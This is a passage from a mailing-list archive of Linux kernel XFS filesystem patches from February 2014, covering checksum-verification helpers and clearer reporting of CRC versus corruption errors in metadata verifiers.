(xfs_sb_version_hascrc(&bp->b_target->bt_mount->m_sb)) - return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_BTREE_SBLOCK_CRC_OFF); + return xfs_buf_verify_cksum(bp, XFS_BTREE_SBLOCK_CRC_OFF); + return true; } diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 9953395..5edcfba 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -369,6 +369,13 @@ static inline void xfs_buf_relse(xfs_buf_t *bp) xfs_buf_rele(bp); } +static inline int +xfs_buf_verify_cksum(struct xfs_buf *bp, unsigned long cksum_offset) +{ + return xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), + cksum_offset); +} + /* * Handling of buftargs. */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 796272a..6cece55 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -214,8 +214,7 @@ xfs_da3_node_read_verify( switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) break; /* fall through */ case XFS_DA_NODE_MAGIC: diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 90cdbf4..948dc39 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -90,8 +90,7 @@ xfs_dir3_block_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_block_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 70acff4..1952f00 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -268,8 +268,7 @@ xfs_dir3_data_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_DATA_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || !xfs_dir3_data_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index ae47ec6..1a412eb 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -180,8 +180,7 @@ __read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || !xfs_dir3_leaf_verify(bp, magic)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 48c7d18..875e7c0 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -116,8 +116,7 @@ xfs_dir3_free_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_FREE_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || !xfs_dir3_free_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index d79210b..d6a879d 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1571,8 +1571,8 @@ xfs_agi_read_verify( int agi_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGI_CRC_OFF); + agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index f9bb590..e8fed74 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -119,6 +119,7 @@ typedef __uint64_t __psunsigned_t; #include "xfs_iops.h" #include "xfs_aops.h" #include "xfs_super.h" +#include "xfs_cksum.h" #include "xfs_buf.h" #include "xfs_message.h" diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 1ea7c86..36f287f 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -610,8 +610,7 @@ xfs_sb_read_verify( XFS_SB_VERSION_5) || dsb->sb_crc != 0)) { - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_SB_CRC_OFF)) { + if (!xfs_buf_verify_cksum(bp, XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 7a705a4..b172955 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,8 +133,7 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_SYMLINK_CRC_OFF) || + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62AD8801B for ; Tue, 18 Feb 2014 17:52:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4F8B530408F for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-ASG-Debug-ID: 1392767551-04bdf00fca1323b0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BXNV7HkCMpRhwnQK for ; Tue, 18 Feb 2014 15:52:31 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 51DD6651AC24; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 2/9] xfs: limit superblock corruption errors to actual corruption Date: Tue, 18 Feb 2014 17:52:22 -0600 X-ASG-Orig-Subj: [PATCH 2/9] xfs: limit superblock corruption errors to actual corruption Message-Id: <1392767549-25574-3-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767551 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the warning for anything other than EFSCORRUPTED returns, and replaces the lower-level XFS_CORRUPTION_ERROR with an xfs_notice(). Signed-off-by: Eric Sandeen --- fs/xfs/xfs_sb.c | 5 ++--- 1 files changed, 2 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 359b19a..1e11679 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -295,8 +295,7 @@ xfs_mount_validate_sb( sbp->sb_dblocks == 0 || sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); + xfs_notice(mp, "SB sanity check failed"); return XFS_ERROR(EFSCORRUPTED); } @@ -625,7 +624,7 @@ xfs_sb_read_verify( out_error: if (error) { - if (error != EWRONGFS) + if (error == EFSCORRUPTED) XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, error); -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93DF9801C for ; Tue, 18 Feb 2014 17:52:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25030AC004 for ; Tue, 18 Feb 2014 15:52:32 -0800 (PST) X-ASG-Debug-ID: 1392767551-04bdf0083a15070001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id NFNWJDEdmWRyejj0 for ; Tue, 18 Feb 2014 15:52:31 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id 62316651AC33; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 3/9] xfs: skip pointless CRC updates after verifier failures Date: Tue, 18 Feb 2014 17:52:23 -0600 X-ASG-Orig-Subj: [PATCH 3/9] xfs: skip pointless CRC updates after verifier failures Message-Id: <1392767549-25574-4-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767551 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Most write verifiers don't update CRCs after the verifier has failed and the buffer has been marked in error. These two didn't, but should. Add returns to the verifier failure block, since the buffer won't be written anyway. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc_btree.c | 1 + fs/xfs/xfs_ialloc_btree.c | 1 + 2 files changed, 2 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 1308542..144d3b0 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -373,6 +373,7 @@ xfs_allocbt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index c8fa5bb..0028c50 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -261,6 +261,7 @@ xfs_inobt_write_verify( XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + return; } xfs_btree_sblock_calc_crc(bp); -- 1.7.1 From sandeen@sandeen.net Tue Feb 18 17:52:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D18E57F51 for ; Tue, 18 Feb 2014 17:52:35 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A149B8F8081 for ; Tue, 18 Feb 2014 15:52:35 -0800 (PST) X-ASG-Debug-ID: 1392767552-04bdf00fc91323c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id TeGYKv1NVSSC5vcC for ; Tue, 18 Feb 2014 15:52:33 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: by sandeen.net (Postfix, from userid 500) id B9A866538487; Tue, 18 Feb 2014 17:52:31 -0600 (CST) From: Eric Sandeen To: xfs@oss.sgi.com Subject: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors Date: Tue, 18 Feb 2014 17:52:29 -0600 X-ASG-Orig-Subj: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors Message-Id: <1392767549-25574-10-git-send-email-sandeen@redhat.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392767552 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Signed-off-by: Eric Sandeen --- fs/xfs/xfs_alloc.c | 37 +++++++++++++++++-------------------- fs/xfs/xfs_alloc_btree.c | 15 ++++++++------- fs/xfs/xfs_attr_leaf.c | 14 ++++++++------ fs/xfs/xfs_attr_remote.c | 15 ++++++--------- fs/xfs/xfs_bmap_btree.c | 16 ++++++++-------- fs/xfs/xfs_da_btree.c | 14 ++++++++------ fs/xfs/xfs_dir2_block.c | 14 ++++++++------ fs/xfs/xfs_dir2_data.c | 17 +++++++++-------- fs/xfs/xfs_dir2_leaf.c | 14 ++++++++------ fs/xfs/xfs_dir2_node.c | 14 ++++++++------ fs/xfs/xfs_dquot_buf.c | 11 +++++++---- fs/xfs/xfs_ialloc.c | 12 ++++++++---- fs/xfs/xfs_ialloc_btree.c | 15 ++++++++------- fs/xfs/xfs_inode_buf.c | 3 +-- fs/xfs/xfs_sb.c | 10 ++++------ fs/xfs/xfs_symlink_remote.c | 12 +++++++----- 16 files changed, 123 insertions(+), 110 deletions(-) diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 9c7cf3d..9a93601 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -474,7 +474,6 @@ xfs_agfl_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agfl_ok = 1; /* * There is no verification of non-crc AGFLs because mkfs does not @@ -485,14 +484,13 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); - - agfl_ok = agfl_ok && xfs_agfl_verify(bp); - - if (!agfl_ok) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_agfl_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -507,8 +505,8 @@ xfs_agfl_write_verify( return; if (!xfs_agfl_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -2236,18 +2234,17 @@ xfs_agf_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agf_ok = 1; - - if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); - agf_ok = agf_ok && xfs_agf_verify(mp, bp); - - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, - XFS_RANDOM_ALLOC_READ_AGF))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, offsetof(struct xfs_agf, agf_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, + XFS_ERRTAG_ALLOC_READ_AGF, + XFS_RANDOM_ALLOC_READ_AGF)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -2258,8 +2255,8 @@ xfs_agf_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 144d3b0..cc1eadc 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -355,12 +355,14 @@ static void xfs_allocbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_allocbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_allocbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -370,9 +372,8 @@ xfs_allocbt_write_verify( { if (!xfs_allocbt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index b552378..fe9587f 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -213,8 +213,8 @@ xfs_attr3_leaf_write_verify( struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -239,12 +239,14 @@ xfs_attr3_leaf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || - !xfs_attr3_leaf_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_attr3_leaf_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 5549d69..6e37823 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -125,7 +125,6 @@ xfs_attr3_rmt_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; - bool corrupt = false; xfs_daddr_t bno; /* no verification of non-crc buffers */ @@ -140,11 +139,11 @@ xfs_attr3_rmt_read_verify( while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - corrupt = true; + xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); @@ -152,10 +151,9 @@ xfs_attr3_rmt_read_verify( bno += mp->m_bsize; } - if (corrupt) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); - } else + if (bp->b_error) + xfs_verifier_error(bp); + else ASSERT(len == 0); } @@ -180,9 +178,8 @@ xfs_attr3_rmt_write_verify( while (len > 0) { if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { - XFS_CORRUPTION_ERROR(__func__, - XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } if (bip) { diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 706bc3f..818d546 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -780,12 +780,14 @@ static void xfs_bmbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_lblock_verify_crc(bp) && - xfs_bmbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_lblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_bmbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -794,11 +796,9 @@ xfs_bmbt_write_verify( struct xfs_buf *bp) { if (!xfs_bmbt_verify(bp)) { - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_lblock_calc_crc(bp); diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 75ef990..1f5af79 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -185,8 +185,8 @@ xfs_da3_node_write_verify( struct xfs_da3_node_hdr *hdr3 = bp->b_addr; if (!xfs_da3_node_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -209,17 +209,20 @@ static void xfs_da3_node_read_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_blkinfo *info = bp->b_addr; switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { + xfs_buf_ioerror(bp, EFSBADCRC); break; + } /* fall through */ case XFS_DA_NODE_MAGIC: - if (!xfs_da3_node_verify(bp)) + if (!xfs_da3_node_verify(bp)) { + xfs_buf_ioerror(bp, EFSCORRUPTED); break; + } return; case XFS_ATTR_LEAF_MAGIC: case XFS_ATTR3_LEAF_MAGIC: @@ -236,8 +239,7 @@ xfs_da3_node_read_verify( } /* corrupt block */ - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_da3_node_buf_ops = { diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 724377e..4f6a38c 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -89,12 +89,14 @@ xfs_dir3_block_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_block_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -106,8 +108,8 @@ xfs_dir3_block_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 74ae85e..afa4ad5 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -241,7 +241,6 @@ static void xfs_dir3_data_reada_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; switch (hdr->magic) { @@ -255,8 +254,8 @@ 